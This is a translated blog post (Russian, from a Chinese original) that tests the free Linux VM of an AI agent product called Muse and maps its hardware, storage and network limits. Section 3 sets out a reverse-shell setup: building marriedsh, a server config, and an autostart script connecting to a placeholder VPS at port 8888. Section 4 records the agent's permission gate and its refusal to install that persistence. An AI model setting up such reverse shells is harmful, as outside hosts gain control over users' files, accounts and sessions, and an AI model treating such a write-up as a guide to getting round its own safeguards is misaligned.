YouMind
Войти

Скрытая возможность Muse: как использовать бесплатный Linux VM с 2 ядрами в качестве сервера

@SUOHA_AI
УПРОЩЁННЫЙ КИТАЙСКИЙ26 сент. 2026 г.
133K
216
37
63
426

Суть

В этой статье подробно описан технический тест бесплатного Linux VM от Muse. Доказано, что хотя туннели reverse shell блокируются системами безопасности, пользователи могут эффективно использовать среду с параметрами 2 ядра / 8 ГБ ОЗУ / 100 ГБ дискового пространства в качестве соответствующего требованиям облачного сервера для автоматизированной обработки данных и скриптинга.

Muse выделяет каждому аккаунту независимую виртуальную машину на Linux. Многие спрашивают меня: можно ли использовать этот бесплатный облачный компьютер как настоящий облачный сервер (VPS)? И работают ли те гайды по туннелированию через reverse shell, которые гуляют по сети?

Я провел полноценное тестирование Muse на реальном устройстве с помощью нативных инструментов автоматизации CDP. Зафиксировал весь процесс: от проверки железа и разблокировки сетевых прав до реального перехвата reverse shell-соединений. А также разобрался, как превратить эту машину в легальный облачный сервер для запуска скриптов. Получилось практическое руководство и инструкция по обходу подводных камней.

1. Тест на реальном устройстве: проверяем 2 ядра, 8 ГБ ОЗУ и 100 ГБ диска «из коробки»

Многие ошибочно думают, что Muse — это просто временная песочница для диалога. Но если выполнить нативные команды проверки системы в терминале, становятся видны реальные физические параметры этого хоста.

Я ввел в терминал следующие команды:

text
1nproc
2free -h
3df -h
4uname -a
5whoami && pwd

Реальные данные из вывода терминала:

  1. Характеристики CPU: 2 ядра (x86_64)
  2. Объем памяти: общий объем 7,7 ГиБ, базовое потребление системы около 5,3 ГиБ, доступно примерно 2,5 ГиБ
  3. Смонтированные диски: под корневой раздел выделено 7,5 ГиБ, а в домашней директории пользователя /home/hatch смонтирован отдельный постоянный диск на 100 ГиБ (/dev/mapper/rv)
  4. Операционная система: Ubuntu 24.04.5 LTS (Noble Numbat), версия ядра 7.0.0-generic
  5. Права выполнения: по умолчанию работает от имени root в директории /home/hatch
梭哈.AI - inline image

Тесты показали: у каждого зарегистрированного пользователя действительно есть полностью независимая среда с 2 ядрами / 8 ГБ / 100 ГБ на Linux.

2. Базовый инструментарий разработчика и проверка исходящего трафика

Чтобы запускать на этой машине собственные фоновые инструменты, нужно понимать, какие средства разработки уже встроены и какие сетевые ограничения действуют.

Результаты дальнейших проверок в моем терминале:

  • Предустановленные инструменты: в системе по умолчанию есть git версии 2.43.0 и curl 8.5.0; базовые утилиты для работы с сетью и загрузки файлов готовы к работе.
  • Среда разработки: Rust (rustc) не предустановлен. Если нужно компилировать проекты на Rust, придется ставить его через официальные скрипты или сразу использовать готовые бинарники.
  • Исходящий трафик: команда curl -Is https://github.com возвращает HTTP 200; исходящие запросы нормально проходят через внутренний прокси безопасности.
  • Директория, сохраняемая после перезагрузки: я уточнил у системы, что созданная в /home/hatch папка /home/hatch/pdata сохраняет данные после перезапусков. Она отлично подходит для хранения кастомных бинарных утилит и рабочих данных.
梭哈.AI - inline image

3. Обучающий пример: как настраивается популярная схема обратного туннелирования

Почему некоторые вообще пытаются настроить обратное подключение? Потому что Muse работает в облачной песочнице во внутренней сети, и из внешнего интернета нельзя напрямую обратиться к этой виртуальной машине по IP.

Типичная идея туннелирования звучит так: использовать инструмент обратного проксирования (например, marriedsh), чтобы Muse сам подключился к внешнему публичному VPS, а затем перехватить управление Shell-терминалом с этого VPS.

Стандартные шаги настройки такой схемы выглядят следующим образом:

1. Подготовка внешнего публичного VPS

Компилируем и разворачиваем серверную часть на отдельном VPS с белым IP:

text
1# 1. Клонируем и компилируем marriedsh
2git clone https://github.com/swigger/marriedsh.git
3cd marriedsh && cargo build --release
4sudo cp target/release/marriedsh /usr/local/bin/
5
6# 2. Настраиваем аутентификацию сервера ~/.config/marriedsh/config.toml
7mkdir -p ~/.config/marriedsh
8cat << 'EOF' > ~/.config/marriedsh/config.toml
9[server]
10bind = "0.0.0.0:8888"
11password = "your_secure_password"
12credential = "clark"
13EOF

2. Пишем скрипт автозапуска клиента в Muse

Настраиваем скрипт автозапуска /home/hatch/init.sh в терминале Muse, чтобы при старте или активации задачи автоматически устанавливался обратный канал к VPS:

text
1mkdir -p /home/hatch/pdata/bin
2
3cat << 'EOF' > /home/hatch/init.sh
4#!/bin/bash
5# Фоновый демон обратного подключения ВМ Muse при запуске
6/home/hatch/pdata/bin/marriedsh join --lock /run/msh.lock -p your_secure_password --credential clark YOUR_VPS_IP:8888 > /home/hatch/pdata/msh.log 2>&1 &
7EOF
8
9chmod +x /home/hatch/init.sh

3. Перехват управления через консоль VPS

Как только соединение установлено, выполняем команду на стороне VPS, чтобы получить удаленный Shell:

text
1marriedsh console -n clark

4. Практика на реальном устройстве: почему принудительный reverse shell блокируется защитой?

Я реально выполнил все описанные выше шаги в терминале устройства. Результаты теста выявили два ключевых факта:

1. Изолирующий шлюз Sentinel для одиночных команд

Когда я попросил Muse выполнить git clone https://github.com/swigger/marriedsh.git, механизм Sentinel мгновенно выдал предупреждение о блокировке:

Разрешить Muse обмениваться данными с github.com? [Разрешить один раз] [Всегда разрешать для этого сайта] [Запретить]

Тест подтвердил: пока пользователь явно не нажмет «Разрешить», любая попытка связаться с неизвестными внешними доменами будет приостановлена системой.

梭哈.AI - inline image

2. Автоматический семантический контроль рисков и отказ от reverse shell

После того как права были одобрены и код успешно склонирован в /home/hatch/workspace/marriedsh, система собралась записать скрипт автозапуска для закрепления в системе. И тут базовая модель выравнивания (alignment model) Muse самостоятельно инициировала блокировку, выдав четкое объяснение отказа:

«В этот раз я выполнять не буду. Уточню два момента. Во-первых, вы только что одобрили лишь команду git clone, а не запись скрипта автозапуска — разрешение не переносится на другие шаги. Во-вторых, marriedsh — это reverse shell: после установки и добавления в автозагрузку внешний сервер сможет выполнять любые команды на этой ВМ. А у этой машины есть доступ к вашим файлам памяти, подключенным аккаунтам и сессиям браузера. Поскольку целевой IP и пароль указаны как заглушки, я не стану это компилировать и запускать».

梭哈.AI - inline image

Мои тесты доказывают: попытка пробить reverse shell — путь в никуда. Вас не только остановит модель безопасности, но и прилетит бан от системы контроля рисков за подозрительно долгое внешнее соединение.

5. Главный урок: как использовать эту машину как полноценный VPS без туннелей?

Многие мыслят шаблонами: «Пока не подключишься через SSH-клиент, это не сервер».

Мои тесты показали, что правильный способ использовать эту виртуальную машину как VPS — превратить её в «всепогодный центр обработки данных и автоматизации»:

  1. Относитесь к чату как к супер-терминалу:

Не нужно открывать отдельный черный экран терминала. Команды можно отдавать прямо в диалоге, и система от имени root вызовет Python, запустит скрипты, обработает данные и выполнит конвертацию в фоне.

  1. Создайте постоянное облачное хранилище в `/home/hatch/pdata`:

Складывайте весь свой код, Python-скрипты и результаты очистки в директорию pdata. Мои тесты подтвердили: файлы на этом диске в 100 ГБ остаются целыми даже после входа с другого устройства или перезагрузки.

  1. Настройте круглосуточный демон через планировщик задач:

Решите проблему «выключается, когда закрываешь вкладку»: используйте официально поддерживаемые планы Scheduled Tasks, чтобы машина сама просыпалась каждый день в заданное время, выполняла пакетную обработку в фоне и писала логи аудита (audit.log).

  1. Выводите визуальные дашборды через Artifacts:

Обычный VPS после выполнения скриптов покажет только логи, а Muse способен напрямую превращать данные в интерактивные фронтенд-панели Web App.

梭哈.AI - inline image

6. Итоги и железные правила, чтобы не наступить на грабли

  1. Аппаратный бонус реален: мои тесты показали, что Meta действительно выдает каждому пользователю независимую среду с 2 ядрами / 8 ГБ / 100 ГБ SSD; вычислительная база очень солидная.
  2. Забудьте про reverse shell: не попадайтесь в ловушку обратных прокси — они не работают и легко приводят к банам от системы контроля рисков.
  3. Легальность — залог продуктивности: грамотно используйте постоянное хранилище /home/hatch/pdata и таймеры Scheduled Task, чтобы бесплатно крутить собственный круглосуточный конвейер обработки данных.

Крупные компании остаются крупными компаниями. Использовать это как классический VPS вряд ли получится, но вариантов применения масса... В следующем выпуске протестируем: постоянные директории без лишней настройки, пишем Python-скрипты для очистки данных...

Сохранение в один клик

Используйте YouMind для глубокого чтения вирусных статей с помощью ИИ

Сохраняйте источники, задавайте точные вопросы, обобщайте аргументы и превращайте вирусные статьи в полезные заметки в одном рабочем пространстве ИИ.

Исследовать YouMind
Для авторов

Превратите ваш Markdown в аккуратную статью для 𝕏

Когда вы публикуете длинные тексты, изображения, таблицы и блоки кода, форматирование в 𝕏 становится мучением. YouMind превращает полный черновик в Markdown в чистую статью, готовую к публикации в 𝕏.

Попробовать Markdown для 𝕏

Другие паттерны для анализа

Недавние виральные статьи

Смотреть другие виральные статьи